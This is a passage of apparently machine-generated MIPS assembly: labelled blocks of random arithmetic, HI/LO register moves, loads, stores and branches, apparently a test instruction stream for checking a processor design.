mflo $1
mtlo $1
TAG219:
ori $1, $1, 11
beq $1, $1, TAG220
sb $1, 0($1)
beq $1, $1, TAG220
TAG220:
multu $1, $1
subu $1, $1, $1
bgtz $1, TAG221
mult $1, $1
TAG221:
add $2, $1, $1
mtlo $2
or $1, $2, $2
sltiu $1, $1, 10
TAG222:
lui $1, 13
mthi $1
lui $3, 2
sll $0, $0, 0
TAG223:
mtlo $3
sra $3, $3, 5
lhu $3, -4096($3)
lbu $4, 0($3)
TAG224:
lw $3, 0($4)
addi $2, $3, 6
mtlo $2
mtlo $3
TAG225:
blez $2, TAG226
or $3, $2, $2
mfhi $2
mflo $3
TAG226:
addiu $3, $3, 7
mthi $3
lui $4, 12
lb $3, 0($3)
TAG227:
mthi $3
sh $3, 0($3)
addu $2, $3, $3
srl $2, $3, 5
TAG228:
blez $2, TAG229
or $4, $2, $2
sb $2, 0($4)
mfhi $4
TAG229:
mflo $1
bne $1, $1, TAG230
sra $1, $1, 13
bne $4, $1, TAG230
TAG230:
lui $3, 9
sw $1, 0($1)
and $3, $3, $1
lui $3, 14
TAG231:
mtlo $3
sll $0, $0, 0
and $1, $3, $3
nor $3, $3, $3
TAG232:
sll $0, $0, 0
blez $3, TAG233
div $3, $3
div $3, $3
TAG233:
mthi $3
blez $3, TAG234
andi $3, $3, 11
lw $4, 0($3)
TAG234:
lw $2, 0($4)
blez $4, TAG235
mult $2, $4
sb $4, 0($2)
TAG235:
sb $2, 0($2)
mult $2, $2
bne $2, $2, TAG236
sh $2, 0($2)
TAG236:
lw $1, 0($2)
bne $1, $2, TAG237
xori $2, $2, 11
sb $2, 0($2)
TAG237:
divu $2, $2
lbu $4, 0($2)
mtlo $4
sb $2, 0($4)
TAG238:
ori $1, $4, 8
bne $1, $1, TAG239
mtlo $4
bgez $4, TAG239
TAG239:
addiu $1, $1, 8
divu $1, $1
addu $3, $1, $1
lui $3, 6
TAG240:
sll $0, $0, 0
mtlo $3
and $4, $3, $4
mtlo $4
TAG241:
lbu $4, 0($4)
lui $4, 15
mfhi $1
lui $4, 9
TAG242:
mthi $4
mult $4, $4
mthi $4
sll $0, $0, 0
TAG243:
beq $3, $3, TAG244
addiu $4, $3, 7
bne $3, $4, TAG244
divu $3, $4
TAG244:
sll $0, $0, 0
lb $4, 0($2)
mthi $4
multu $2, $4
TAG245:
srav $1, $4, $4
sh $1, 0($1)
bltz $1, TAG246
sra $4, $4, 7
TAG246:
mflo $3
mtlo $4
blez $4, TAG247
mult $4, $3
TAG247:
bne $3, $3, TAG248
div $3, $3
mflo $1
mtlo $1
TAG248:
mflo $3
beq $1, $1, TAG249
mfhi $2
lw $4, 0($1)
TAG249:
mflo $1
bgez $1, TAG250
multu $4, $4
sra $4, $4, 6
TAG250:
bltz $4, TAG251
srlv $1, $4, $4
andi $1, $1, 13
sra $3, $1, 14
TAG251:
lh $4, 0($3)
sb $3, 0($4)
bne $4, $3, TAG252
mthi $4
TAG252:
lb $3, 0($4)
add $1, $4, $3
lui $2, 10
mthi $3
TAG253:
mfhi $1
sll $0, $0, 0
bgez $2, TAG254
multu $2, $1
TAG254:
lui $4, 11
lui $1, 0
lw $4, 0($1)
bgtz $1, TAG255
TAG255:
lui $4, 6
sll $0, $0, 0
lui $2, 8
mtlo $4
TAG256:
lui $3, 13
sll $0, $0, 0
bgez $3, TAG257
sll $0, $0, 0
TAG257:
xori $3, $3, 13
lui $4, 3
bgez $3, TAG258
mthi $3
TAG258:
slt $3, $4, $4
addiu $4, $4, 1
lui $2, 13
bne $4, $4, TAG259
TAG259:
sll $0, $0, 0
mult $1, $1
bne $2, $1, TAG260
sltiu $2, $1, 13
TAG260:
srlv $4, $2, $2
bne $2, $2, TAG261
lw $2, 0($4)
bltz $2, TAG261
TAG261:
sw $2, 0($2)
slti $3, $2, 2
bgez $2, TAG262
mflo $4
TAG262:
sll $2, $4, 0
lui $3, 6
sll $0, $0, 0
mtlo $2
TAG263:
sll $0, $0, 0
mflo $1
sll $0, $0, 0
sll $0, $0, 0
TAG264:
sll $0, $0, 0
lui $2, 10
sll $0, $0, 0
beq $3, $1, TAG265
TAG265:
lui $4, 15
sll $0, $0, 0
mfhi $1
sltiu $3, $4, 5
TAG266:
bne $3, $3, TAG267
subu $1, $3, $3
mfhi $3
mflo $3
TAG267:
lui $3, 6
sll $0, $0, 0
sll $0, $0, 0
bgtz $3, TAG268
TAG268:
sll $0, $0, 0
sllv $2, $4, $4
and $3, $4, $2
div $2, $4
TAG269:
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
TAG270:
mflo $4
divu $4, $2
mfhi $3
ori $1, $2, 12
TAG271:
lui $1, 8
bne $1, $1, TAG272
slti $3, $1, 7
mthi $1
TAG272:
lui $3, 7
bne $3, $3, TAG273
sll $0, $0, 0
lui $1, 9
TAG273:
sll $0, $0, 0
lui $3, 11
divu $1, $1
bgtz $3, TAG274
TAG274:
mthi $3
bltz $3, TAG275
mflo $4
bltz $3, TAG275
TAG275:
sb $4, 0($4)
lb $1, 0($4)
mflo $1
mtlo $1
TAG276:
lb $3, 0($1)
bne $3, $1, TAG277
lb $1, 0($1)
lb $3, 0($3)
TAG277:
lui $2, 9
sb $2, 0($3)
mfhi $4
sll $0, $0, 0
TAG278:
mfhi $1
sltu $1, $1, $4
lhu $1, 0($1)
beq $4, $1, TAG279
TAG279:
sltu $2, $1, $1
bltz $1, TAG280
sw $2, 0($1)
multu $2, $1
TAG280:
lui $4, 5
mtlo $2
mtlo $4
lh $1, 0($2)
TAG281:
sw $1, 0($1)
mflo $1
xori $2, $1, 3
div $2, $1
TAG282:
bne $2, $2, TAG283
addiu $1, $2, 6
div $1, $2
multu $2, $2
TAG283:
addiu $1, $1, 12
lui $1, 13
mtlo $1
blez $1, TAG284
TAG284:
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
bne $4, $4, TAG285
TAG285:
lui $3, 2
mthi $3
mflo $1
divu $1, $1
TAG286:
mfhi $2
nor $4, $1, $2
mflo $2
sll $0, $0, 0
TAG287:
sll $0, $0, 0
blez $4, TAG288
mfhi $2
lw $3, 0($4)
TAG288:
bgez $3, TAG289
lui $4, 2
lbu $4, 0($4)
bltz $4, TAG289
TAG289:
addu $3, $4, $4
lui $3, 3
sll $0, $0, 0
lui $2, 10
TAG290:
sll $0, $0, 0
sll $0, $0, 0
beq $4, $4, TAG291
mfhi $2
TAG291:
and $1, $2, $2
sltiu $3, $1, 5
lw $2, 0($1)
bne $2, $3, TAG292
TAG292:
srl $2, $2, 6
sb $2, 0($2)
mflo $4
lw $3, 0($2)
TAG293:
bne $3, $3, TAG294
lui $2, 3
mflo $3
mtlo $2
TAG294:
addu $3, $3, $3
sltiu $2, $3, 10
mtlo $3
lb $3, 0($3)
TAG295:
blez $3, TAG296
mult $3, $3
bgez $3, TAG296
mflo $2
TAG296:
bne $2, $2, TAG297
sb $2, 0($2)
lb $3, 0($2)
bltz $3, TAG297
TAG297:
mfhi $1
lbu $2, 0($1)
sb $3, 0($2)
bne $1, $3, TAG298
TAG298:
lui $3, 5
sll $0, $0, 0
bne $3, $3, TAG299
sh $3, 0($2)
TAG299:
div $3, $3
sll $0, $0, 0
lui $4, 11
sw $3, 0($2)
TAG300:
mtlo $4
srl $3, $4, 0
sll $2, $4, 5
bgez $3, TAG301
TAG301:
sltiu $4, $2, 14
multu $2, $2
lb $2, 0($4)
blez $2, TAG302
TAG302:
or $1, $2, $2
mult $2, $2
mult $1, $1
mflo $1
TAG303:
bne $1, $1, TAG304
sb $1, 0($1)
mfhi $3
beq $1, $3, TAG304
TAG304:
lb $1, 0($3)
sub $4, $3, $3
mult $3, $3
lb $3, 0($1)
TAG305:
ori $1, $3, 8
lui $4, 0
mflo $4
sh $4, 0($1)
TAG306:
mthi $4
mthi $4
lh $3, 0($4)
sltu $4, $4, $3
TAG307:
mflo $2
mtlo $2
mfhi $4
lui $4, 5
TAG308:
div $4, $4
sll $0, $0, 0
srav $3, $4, $4
sll $0, $0, 0
TAG309:
bne $2, $2, TAG310
addi $4, $2, 3
bgtz $4, TAG310
srl $4, $2, 3
TAG310:
mflo $1
bgtz $4, TAG311
xori $2, $1, 15
xor $4, $4, $4
TAG311:
sh $4, 0($4)
beq $4, $4, TAG312
mthi $4
sll $4, $4, 1
TAG312:
blez $4, TAG313
multu $4, $4
sb $4, 0($4)
mthi $4
TAG313:
lh $2, 0($4)
addi $1, $4, 12
sw $4, 0($1)
mfhi $4
TAG314:
srl $1, $4, 5
bne $4, $4, TAG315
sb $4, 0($1)
lui $2, 4
TAG315:
andi $4, $2, 3
mthi $2
mthi $2
sb $2, 0($4)
TAG316:
andi $1, $4, 10
slt $4, $4, $1
mult $4, $1
sh $1, 0($4)
TAG317:
bne $4, $4, TAG318
and $1, $4, $4
xori $4, $4, 15
subu $1, $4, $4
TAG318:
multu $1, $1
sh $1, 0($1)
xor $4, $1, $1
lw $4, 0($1)
TAG319:
lui $1, 15
nor $4, $1, $4
mfhi $3
lui $3, 0
TAG320:
slti $4, $3, 15
lbu $4, 0($4)
mthi $4
mtlo $3
TAG321:
multu $4, $4
bne $4, $4, TAG322
sllv $3, $4, $4
beq $4, $4, TAG322
TAG322:
sltiu $1, $3, 12
sw $1, 0($3)
sh $1, 0($3)
lb $4, 0($1)
TAG323:
lhu $1, 0($4)
mflo $3
multu $1, $3
sh $3, 0($3)
TAG324:
mflo $2
sw $3, 0($2)
multu $3, $3
mflo $3
TAG325:
blez $3, TAG326
mflo $4
mthi $4
mflo $3
TAG326:
lui $1, 4
multu $3, $3
lh $2, 0($3)
sll $0, $0, 0
TAG327:
ori $3, $3, 13
blez $3, TAG328
sra $1, $3, 12
lui $4, 7
TAG328:
lui $4, 1
bne $4, $4, TAG329
sll $0, $0, 0
bltz $4, TAG329
TAG329:
sll $0, $0, 0
addiu $1, $4, 9
sltiu $3, $4, 0
mflo $1
TAG330:
nor $4, $1, $1
xor $1, $1, $1
mtlo $1
slt $4, $1, $4
TAG331:
bgez $4, TAG332
lb $1, 0($4)
addi $4, $4, 11
beq $4, $4, TAG332
TAG332:
mthi $4
andi $2, $4, 3
lb $4, 0($2)
mult $4, $4
TAG333:
and $4, $4, $4
mult $4, $4
sb $4, 0($4)
mflo $2
TAG334:
lh $1, 0($2)
lui $2, 3
lui $4, 2
bgtz $4, TAG335
TAG335:
or $3, $4, $4
mfhi $1
multu $4, $4
bltz $4, TAG336
TAG336:
andi $3, $1, 13
mult $1, $3
bltz $1, TAG337
lw $3, 0($1)
TAG337:
sltiu $1, $3, 2
lui $3, 4
mthi $1
nor $4, $1, $3
TAG338:
bltz $4, TAG339
slti $1, $4, 5
lui $2, 6
mtlo $2
TAG339:
sltiu $4, $2, 14
sra $1, $2, 14
mflo $4
mult $4, $4
TAG340:
nor $4, $4, $4
mflo $2
mult $4, $4
beq $2, $2, TAG341
TAG341:
srav $4, $2, $2
addi $2, $4, 6
mtlo $2
sb $2, 0($2)
TAG342:
sra $1, $2, 15
lui $1, 8
mtlo $2
mfhi $2
TAG343:
mfhi $3
bltz $2, TAG344
mtlo $3
sra $4, $2, 11
TAG344:
slt $3, $4, $4
mult $3, $4
bne $4, $3, TAG345
lui $4, 8
TAG345:
mflo $4
lhu $2, 0($4)
mtlo $4
lui $1, 14
TAG346:
mtlo $1
sll $0, $0, 0
bgtz $1, TAG347
srav $3, $1, $3
TAG347:
divu $3, $3
sll $0, $0, 0
ori $1, $3, 2
and $4, $1, $3
TAG348:
bgez $4, TAG349
mfhi $3
bgez $4, TAG349
lui $1, 3
TAG349:
bltz $1, TAG350
sra $2, $1, 5
multu $1, $2
divu $2, $2
TAG350:
blez $2, TAG351
sh $2, -28672($2)
bne $2, $2, TAG351
nor $2, $2, $2
TAG351:
mflo $4
bltz $4, TAG352
sb $4, 0($4)
addiu $2, $4, 4
TAG352:
sll $4, $2, 6
lui $2, 7
mtlo $4
mflo $4
TAG353:
div $4, $4
bne $4, $4, TAG354
multu $4, $4
sltiu $3, $4, 8
TAG354:
bgez $3, TAG355
mult $3, $3
srlv $1, $3, $3
sltu $2, $3, $3
TAG355:
sll $0, $0, 0
bne $2, $1, TAG356
sll $4, $2, 10
bgez $4, TAG356
TAG356:
srl $3, $4, 3
mtlo $3
mflo $2
srlv $4, $3, $2
TAG357:
mtlo $4
addu $4, $4, $4
mult $4, $4
sll $0, $0, 0
TAG358:
sll $0, $0, 0
mthi $3
mthi $3
sll $0, $0, 0
TAG359:
lui $1, 13
sll $0, $0, 0
sll $0, $0, 0
lui $1, 15
TAG360:
bltz $1, TAG361
sltu $1, $1, $1
sw $1, 0($1)
lui $3, 9
TAG361:
and $3, $3, $3
bgtz $3, TAG362
srlv $4, $3, $3
mthi $3
TAG362:
mtlo $4
mthi $4
div $4, $4
mtlo $4
TAG363:
mult $4, $4
multu $4, $4
sll $0, $0, 0
sllv $1, $4, $4
TAG364:
bltz $1, TAG365
lui $2, 12
divu $1, $1
divu $2, $1
TAG365:
blez $2, TAG366
lui $2, 3
lui $3, 5
bltz $2, TAG366
TAG366:
multu $3, $3
lui $3, 12
sll $0, $0, 0
sll $0, $0, 0
TAG367:
sltiu $4, $1, 15
mtlo $4
multu $4, $4
beq $4, $4, TAG368
TAG368:
lb $4, 0($4)
mfhi $3
slt $1, $4, $4
bgez $4, TAG369
TAG369:
mthi $1
multu $1, $1
lh $4, 0($1)
sh $1, 0($4)
TAG370:
andi $4, $4, 13
bne $4, $4, TAG371
multu $4, $4
mtlo $4
TAG371:
bne $4, $4, TAG372
lbu $2, 0($4)
mthi $2
sh $4, 0($2)
TAG372:
sh $2, 0($2)
lh $3, 0($2)
lh $2, 0($3)
bne $3, $2, TAG373
TAG373:
lhu $4, 0($2)
bne $2, $2, TAG374
sb $4, 0($4)
mthi $4
TAG374:
sw $4, 0($4)
sllv $1, $4, $4
nor $1, $1, $4
lui $1, 6
TAG375:
lui $1, 1
lui $4, 4
lui $4, 5
sll $0, $0, 0
TAG376:
lui $3, 11
sll $0, $0, 0
sll $0, $0, 0
bne $4, $4, TAG377
TAG377:
sll $0, $0, 0
sll $0, $0, 0
multu $1, $1
sll $0, $0, 0
TAG378:
mfhi $2
xori $2, $2, 8
sb $2, 0($2)
lui $3, 9
TAG379:
sll $0, $0, 0
sll $0, $0, 0
mflo $4
mult $2, $2
TAG380:
lhu $3, 0($4)
mfhi $4
mthi $3
lui $4, 9
TAG381:
sll $0, $0, 0
bne $4, $4, TAG382
sllv $4, $4, $4
multu $4, $4
TAG382:
lui $2, 11
sll $0, $0, 0
mtlo $4
sllv $2, $2, $4
TAG383:
beq $2, $2, TAG384
mflo $3
mflo $1
sb $1, 0($3)
TAG384:
lui $2, 4
sll $0, $0, 0
bgtz $1, TAG385
andi $4, $2, 5
TAG385:
and $4, $4, $4
lhu $2, 0($4)
subu $3, $2, $2
lui $2, 15
TAG386:
addiu $3, $2, 13
divu $3, $2
mthi $2
lui $2, 5
TAG387:
sltiu $1, $2, 10
mthi $2
lui $4, 8
bgez $2, TAG388
TAG388:
xori $3, $4, 13
addu $2, $3, $4
mult $2, $2
sll $0, $0, 0
TAG389:
divu $2, $2
blez $2, TAG390
sll $0, $0, 0
sll $0, $0, 0
TAG390:
sltu $3, $4, $4
bne $3, $4, TAG391
divu $3, $4
beq $4, $3, TAG391
TAG391:
sb $3, 0($3)
mthi $3
bne $3, $3, TAG392
multu $3, $3
TAG392:
mthi $3
bgtz $3, TAG393
sra $4, $3, 10
ori $3, $3, 3
TAG393:
and $4, $3, $3
mthi $3
mthi $4
multu $4, $4
TAG394:
ori $3, $4, 2
bne $3, $3, TAG395
sb $3, 0($3)
sltiu $3, $3, 14
TAG395:
bgtz $3, TAG396
lui $2, 6
mflo $4
blez $3, TAG396
TAG396:
andi $3, $4, 8
slt $4, $4, $3
srlv $3, $4, $3
bne $3, $3, TAG397
TAG397:
lui $3, 7
mfhi $1
mfhi $1
mthi $1
TAG398:
beq $1, $1, TAG399
lui $3, 1
beq $1, $3, TAG399
mfhi $3
TAG399:
beq $3, $3, TAG400
mfhi $2
mfhi $4
mfhi $1
TAG400:
slt $1, $1, $1
lw $4, 0($1)
mult $4, $1
sb $1, 0($1)
TAG401:
mthi $4
mtlo $4
sll $0, $0, 0
multu $4, $4
TAG402:
mfhi $3
mtlo $4
sll $0, $0, 0
bgez $4, TAG403
TAG403:
ori $3, $4, 13
sll $0, $0, 0
srlv $4, $3, $4
lui $3, 10
TAG404:
blez $3, TAG405
mflo $2
div $2, $2
addiu $1, $2, 10
TAG405:
andi $2, $1, 11
mtlo $1
lb $1, 0($2)
lui $3, 2
TAG406:
mtlo $3
mthi $3
sll $0, $0, 0
sllv $1, $3, $3
TAG407:
sll $0, $0, 0
mflo $2
mult $2, $2
slti $2, $2, 2
TAG408:
lui $3, 11
lui $4, 1
lui $1, 5
mfhi $1
TAG409:
bltz $1, TAG410
lui $2, 15
sll $0, $0, 0
sll $0, $0, 0
TAG410:
sll $0, $0, 0
addu $4, $2, $2
slt $4, $2, $4
bltz $4, TAG411
TAG411:
sb $4, 0($4)
sb $4, 0($4)
bltz $4, TAG412
mflo $2
TAG412:
blez $2, TAG413
lui $4, 1
mfhi $4
slti $3, $4, 0
TAG413:
or $2, $3, $3
addu $3, $3, $2
slti $4, $3, 0
mflo $1
TAG414:
and $3, $1, $1
blez $1, TAG415
subu $4, $3, $1
beq $3, $1, TAG415
TAG415:
mflo $4
sltu $4, $4, $4
bgez $4, TAG416
mtlo $4
TAG416:
multu $4, $4
sub $4, $4, $4
andi $4, $4, 15
mult $4, $4
TAG417:
lui $1, 4
mult $1, $4
mthi $4
sw $1, 0($4)
TAG418:
nor $2, $1, $1
bne $2, $1, TAG419
sll $0, $0, 0
sh $4, 0($2)
TAG419:
sltu $4, $4, $4
lui $4, 0
srl $2, $4, 14
lhu $2, 0($4)
TAG420:
mfhi $4
add $4, $2, $4
mflo $2
mult $4, $4
TAG421:
mfhi $3
mult $2, $3
sub $3, $2, $2
bgtz $2, TAG422
TAG422:
mthi $3
slti $1, $3, 9
lhu $1, 0($3)
mfhi $4
TAG423:
lui $4, 11
sll $0, $0, 0
sll $0, $0, 0
bltz $4, TAG424
TAG424:
multu $4, $4
beq $4, $4, TAG425
mflo $4
srl $2, $4, 8
TAG425:
mflo $4
lui $2, 9
bne $2, $2, TAG426
andi $4, $4, 8
TAG426:
beq $4, $4, TAG427
mthi $4
lui $2, 15
sb $2, 0($4)
TAG427:
divu $2, $2
mult $2, $2
mtlo $2
sll $0, $0, 0
TAG428:
lui $3, 7
xori $4, $3, 4
lui $1, 15
addiu $3, $3, 13
TAG429:
lui $3, 10
srl $2, $3, 5
sll $0, $0, 0
mthi $3
TAG430:
mfhi $4
sll $0, $0, 0
sll $0, $0, 0
bne $4, $4, TAG431
TAG431:
mtlo $4
addiu $3, $4, 7
sll $0, $0, 0
sll $0, $0, 0
TAG432:
srl $3, $3, 13
xori $4, $3, 11
div $3, $3
bgtz $3, TAG433
TAG433:
lb $4, 0($4)
lb $2, 0($4)
bne $4, $4, TAG434
xori $3, $4, 0
TAG434:
sb $3, 0($3)
sh $3, 0($3)
multu $3, $3
slt $1, $3, $3
TAG435:
bgez $1, TAG436
mthi $1
sb $1, 0($1)
bltz $1, TAG436
TAG436:
addiu $3, $1, 15
mfhi $3
mtlo $1
or $1, $1, $3
TAG437:
sw $1, 0($1)
mfhi $4
xor $4, $4, $1
mthi $1
TAG438:
mflo $3
bgtz $4, TAG439
multu $4, $3
mflo $2
TAG439:
beq $2, $2, TAG440
mult $2, $2
subu $2, $2, $2
lhu $2, 0($2)
TAG440:
multu $2, $2
mflo $4
lui $4, 6
sll $0, $0, 0
TAG441:
lui $1, 7
mfhi $2
mfhi $4
beq $2, $4, TAG442
TAG442:
mult $4, $4
mfhi $4
mflo $4
lui $2, 0
TAG443:
bltz $2, TAG444
multu $2, $2
sw $2, 0($2)
lui $3, 7
TAG444:
mflo $3
mult $3, $3
bgtz $3, TAG445
sh $3, 0($3)
TAG445:
ori $4, $3, 6
subu $4, $3, $3
lui $4, 13
beq $4, $4, TAG446
TAG446:
xor $1, $4, $4
mtlo $4
bne $1, $1, TAG447
sltiu $3, $4, 15
TAG447:
beq $3, $3, TAG448
mult $3, $3
mthi $3
bne $3, $3, TAG448
TAG448:
lhu $3, 0($3)
blez $3, TAG449
mflo $2
lui $4, 6
TAG449:
mfhi $1
bltz $4, TAG450
mfhi $3
sw $3, 0($3)
TAG450:
lui $3, 12
lui $1, 13
and $1, $3, $1
div $1, $1
TAG451:
lui $1, 5
bne $1, $1, TAG452
sll $0, $0, 0
subu $1, $1, $1
TAG452:
bgtz $1, TAG453
mtlo $1
lh $3, 0($1)
mtlo $1
TAG453:
mult $3, $3
lui $3, 11
mthi $3
lui $1, 8
TAG454:
blez $1, TAG455
mthi $1
mfhi $3
subu $3, $1, $1
TAG455:
slt $2, $3, $3
addiu $1, $2, 8
sub $4, $2, $3
mflo $2
TAG456:
mult $2, $2
lui $2, 0
slt $2, $2, $2
andi $2, $2, 12
TAG457:
sll $1, $2, 4
blez $1, TAG458
mtlo $2
slti $2, $2, 11
TAG458:
nor $4, $2, $2
mthi $4
lui $4, 6
mult $4, $4
TAG459:
sll $0, $0, 0
sll $0, $0, 0
addu $3, $4, $4
or $4, $2, $3
TAG460:
mtlo $4
sll $0, $0, 0
sllv $4, $4, $4
lui $1, 5
TAG461:
mthi $1
nor $2, $1, $1
addu $3, $1, $1
divu $3, $3
TAG462:
addiu $4, $3, 10
beq $3, $3, TAG463
mthi $3
mfhi $3
TAG463:
mtlo $3
mtlo $3
lui $2, 10
bne $2, $3, TAG464
TAG464:
mflo $1
bne $2, $1, TAG465
sll $0, $0, 0
mthi $2
TAG465:
divu $4, $4
sll $0, $0, 0
blez $4, TAG466
sll $0, $0, 0
TAG466:
sll $0, $0, 0
mflo $3
blez $4, TAG467
mthi $4
TAG467:
sb $3, 0($3)
sb $3, 0($3)
addiu $4, $3, 3
beq $4, $4, TAG468
TAG468:
mfhi $2
sltiu $2, $2, 9
lb $4, 0($4)
lui $4, 7
TAG469:
sra $4, $4, 7
sh $4, -3584($4)
beq $4, $4, TAG470
lhu $3, -3584($4)
TAG470:
sb $3, -3584($3)
lui $3, 0
bne $3, $3, TAG471
mfhi $4
TAG471:
or $2, $4, $4
beq $2, $2, TAG472
sll $0, $0, 0
lui $3, 3
TAG472:
bgtz $3, TAG473
addi $3, $3, 15
mthi $3
mtlo $3
TAG473:
addiu $2, $3, 9
slti $3, $3, 10
multu $3, $3
nor $4, $3, $3
TAG474:
mtlo $4
mthi $4
lui $1, 4
mfhi $3
TAG475:
mtlo $3
lui $2, 2
bne $2, $3, TAG476
mfhi $2
TAG476:
sll $0, $0, 0
subu $2, $2, $2
mflo $1
lbu $1, 0($2)
TAG477:
slti $4, $1, 10
lui $4, 4
xori $1, $4, 0
lui $3, 13
TAG478:
beq $3, $3, TAG479
sll $0, $0, 0
multu $3, $3
lb $3, 0($3)
TAG479:
bgtz $3, TAG480
mfhi $1
lbu $4, 0($1)
sltiu $2, $3, 1
TAG480:
mtlo $2
mtlo $2
lh $1, 0($2)
lui $4, 12
TAG481:
sll $3, $4, 1
sll $0, $0, 0
mfhi $1
lw $2, 1($1)
TAG482:
mflo $1
mflo $3
lui $3, 9
beq $1, $1, TAG483
TAG483:
lui $3, 8
mflo $1
and $1, $3, $1
mfhi $4
TAG484:
beq $4, $4, TAG485
mthi $4
mult $4, $4
sh $4, 0($4)
TAG485:
divu $4, $4
bgez $4, TAG486
mtlo $4
lui $3, 6
TAG486:
bltz $3, TAG487
sll $0, $0, 0
bgtz $1, TAG487
lui $3, 0
TAG487:
lb $1, 0($3)
srl $1, $1, 15
lui $1, 15
sra $2, $1, 6
TAG488:
sll $0, $0, 0
add $4, $3, $3
blez $3, TAG489
and $2, $2, $2
TAG489:
sll $0, $0, 0
lui $2, 6
srlv $4, $2, $3
sll $0, $0, 0
TAG490:
mthi $4
sll $0, $0, 0
multu $1, $4
sll $0, $0, 0
TAG491:
multu $2, $2
bne $2, $2, TAG492
mfhi $3
mflo $1
TAG492:
sh $1, 0($1)
sb $1, 0($1)
beq $1, $1, TAG493
mult $1, $1
TAG493:
sw $1, 0($1)
sh $1, 0($1)
slt $2, $1, $1
lhu $1, 0($1)
TAG494:
mfhi $2
lui $2, 6
sll $0, $0, 0
lbu $1, 0($1)
TAG495:
mthi $1
ori $3, $1, 5
or $3, $3, $3
lui $4, 7
TAG496:
lui $2, 4
slti $1, $2, 0
mflo $2
andi $1, $1, 8
TAG497:
lhu $1, 0($1)
mflo $3
lui $2, 9
multu $1, $2
TAG498:
lui $4, 10
bltz $2, TAG499
multu $2, $2
sll $0, $0, 0
TAG499:
mtlo $4
sll $0, $0, 0
bne $4, $4, TAG500
sltu $2, $4, $4
TAG500:
slti $4, $2, 0
sltu $3, $2, $4
lw $1, 0($2)
lbu $2, 0($1)
TAG501:
sh $2, 0($2)
mult $2, $2
srl $3, $2, 12
beq $3, $2, TAG502
TAG502:
mfhi $3
beq $3, $3, TAG503
multu $3, $3
addi $4, $3, 5
TAG503:
lbu $3, 0($4)
bgez $4, TAG504
mflo $3
srlv $4, $3, $4
TAG504:
blez $4, TAG505
multu $4, $4
subu $4, $4, $4
mthi $4
TAG505:
lbu $3, 0($4)
mult $3, $3
mfhi $3
addiu $3, $4, 13
TAG506:
bne $3, $3, TAG507
divu $3, $3
lb $3, 0($3)
sw $3, 0($3)
TAG507:
lui $3, 13
bne $3, $3, TAG508
mult $3, $3
beq $3, $3, TAG508
TAG508:
sll $0, $0, 0
lui $3, 9
srlv $3, $3, $3
and $3, $3, $3
TAG509:
mthi $3
mtlo $3
sll $0, $0, 0
mtlo $3
TAG510:
mtlo $1
mult $1, $1
slt $3, $1, $1
sh $1, 0($3)
TAG511:
slt $1, $3, $3
bne $3, $1, TAG512
lui $4, 14
lui $3, 15
TAG512:
lui $3, 12
mfhi $1
mfhi $4
blez $3, TAG513
TAG513:
and $2, $4, $4
lui $2, 1
mflo $1
srl $1, $1, 11
TAG514:
lh $1, 0($1)
mult $1, $1
mthi $1
sw $1, 0($1)
TAG515:
mult $1, $1
mthi $1
mflo $4
srav $4, $1, $4
TAG516:
blez $4, TAG517
lhu $3, 0($4)
mtlo $4
lui $2, 1
TAG517:
sll $0, $0, 0
lui $3, 2
beq $3, $3, TAG518
sll $0, $0, 0
TAG518:
mthi $3
sll $0, $0, 0
mtlo $3
slt $4, $3, $3
TAG519:
srl $2, $4, 2
slti $3, $2, 7
beq $3, $2, TAG520
sb $4, 0($3)
TAG520:
lui $4, 15
sll $0, $0, 0
mult $3, $3
sll $0, $0, 0
TAG521:
lui $4, 15
lui $2, 10
xor $2, $2, $4
srav $2, $2, $2
TAG522:
div $2, $2
nor $1, $2, $2
bne $2, $2, TAG523
sll $0, $0, 0
TAG523:
slt $3, $1, $1
sll $0, $0, 0
sll $0, $0, 0
bne $1, $1, TAG524
TAG524:
addi $3, $3, 2
lui $2, 9
srl $1, $2, 1
mthi $3
TAG525:
beq $1, $1, TAG526
lui $2, 4
sll $4, $1, 3
lui $2, 1
TAG526:
lui $3, 13
xor $1, $2, $2
mfhi $1
sll $0, $0, 0
TAG527:
sll $0, $0, 0
lui $1, 2
addiu $3, $2, 7
sll $0, $0, 0
TAG528:
bgtz $4, TAG529
sll $0, $0, 0
sb $1, 0($1)
divu $4, $1
TAG529:
xori $1, $1, 15
sll $0, $0, 0
ori $2, $2, 1
bne $2, $1, TAG530
TAG530:
mflo $3
sll $0, $0, 0
bltz $2, TAG531
sb $3, 0($3)
TAG531:
sb $3, 0($3)
lbu $4, 0($3)
sb $4, 0($4)
mfhi $4
TAG532:
sltiu $2, $4, 3
bgez $4, TAG533
sb $4, 0($2)
srl $1, $2, 11
TAG533:
multu $1, $1
blez $1, TAG534
srl $1, $1, 13
sb $1, 0($1)
TAG534:
div $1, $1
mthi $1
lui $1, 2
divu $1, $1
TAG535:
mthi $1
xori $3, $1, 4
ori $2, $1, 13
sll $0, $0, 0
TAG536:
mfhi $4
sll $4, $2, 1
bne $4, $4, TAG537
sll $0, $0, 0
TAG537:
sll $0, $0, 0
lui $4, 12
sltiu $2, $4, 8
lui $1, 5
TAG538:
lui $1, 13
lui $1, 1
sltu $4, $1, $1
beq $1, $1, TAG539
TAG539:
slt $4, $4, $4
bne $4, $4, TAG540
mflo $2
lb $3, 0($2)
TAG540:
mflo $1
lb $2, 0($1)
bgtz $3, TAG541
lh $4, 0($2)
TAG541:
addu $3, $4, $4
xori $2, $3, 14
lui $3, 5
bne $2, $2, TAG542
TAG542:
div $3, $3
slt $4, $3, $3
mult $3, $3
mflo $3
TAG543:
mfhi $3
mfhi $4
slt $4, $3, $4
lb $3, 0($3)
TAG544:
mult $3, $3
sw $3, 0($3)
bgtz $3, TAG545
sltu $3, $3, $3
TAG545:
blez $3, TAG546
sw $3, 0($3)
bne $3, $3, TAG546
multu $3, $3
TAG546:
mfhi $3
sub $2, $3, $3
mthi $2
or $2, $3, $3
TAG547:
mtlo $2
lb $2, 0($2)
lbu $2, 0($2)
addi $3, $2, 9
TAG548:
beq $3, $3, TAG549
subu $1, $3, $3
lui $4, 2
slti $2, $1, 12
TAG549:
lb $4, 0($2)
mult $4, $4
sb $4, 0($4)
bgtz $4, TAG550
TAG550:
mthi $4
andi $4, $4, 1
mtlo $4
lui $4, 1
TAG551:
mflo $4
lh $4, 0($4)
lui $4, 6
bgez $4, TAG552
TAG552:
sll $0, $0, 0
bltz $2, TAG553
lui $1, 0
lui $1, 10
TAG553:
lui $1, 1
lui $2, 15
sll $0, $0, 0
sll $0, $0, 0
TAG554:
lui $2, 9
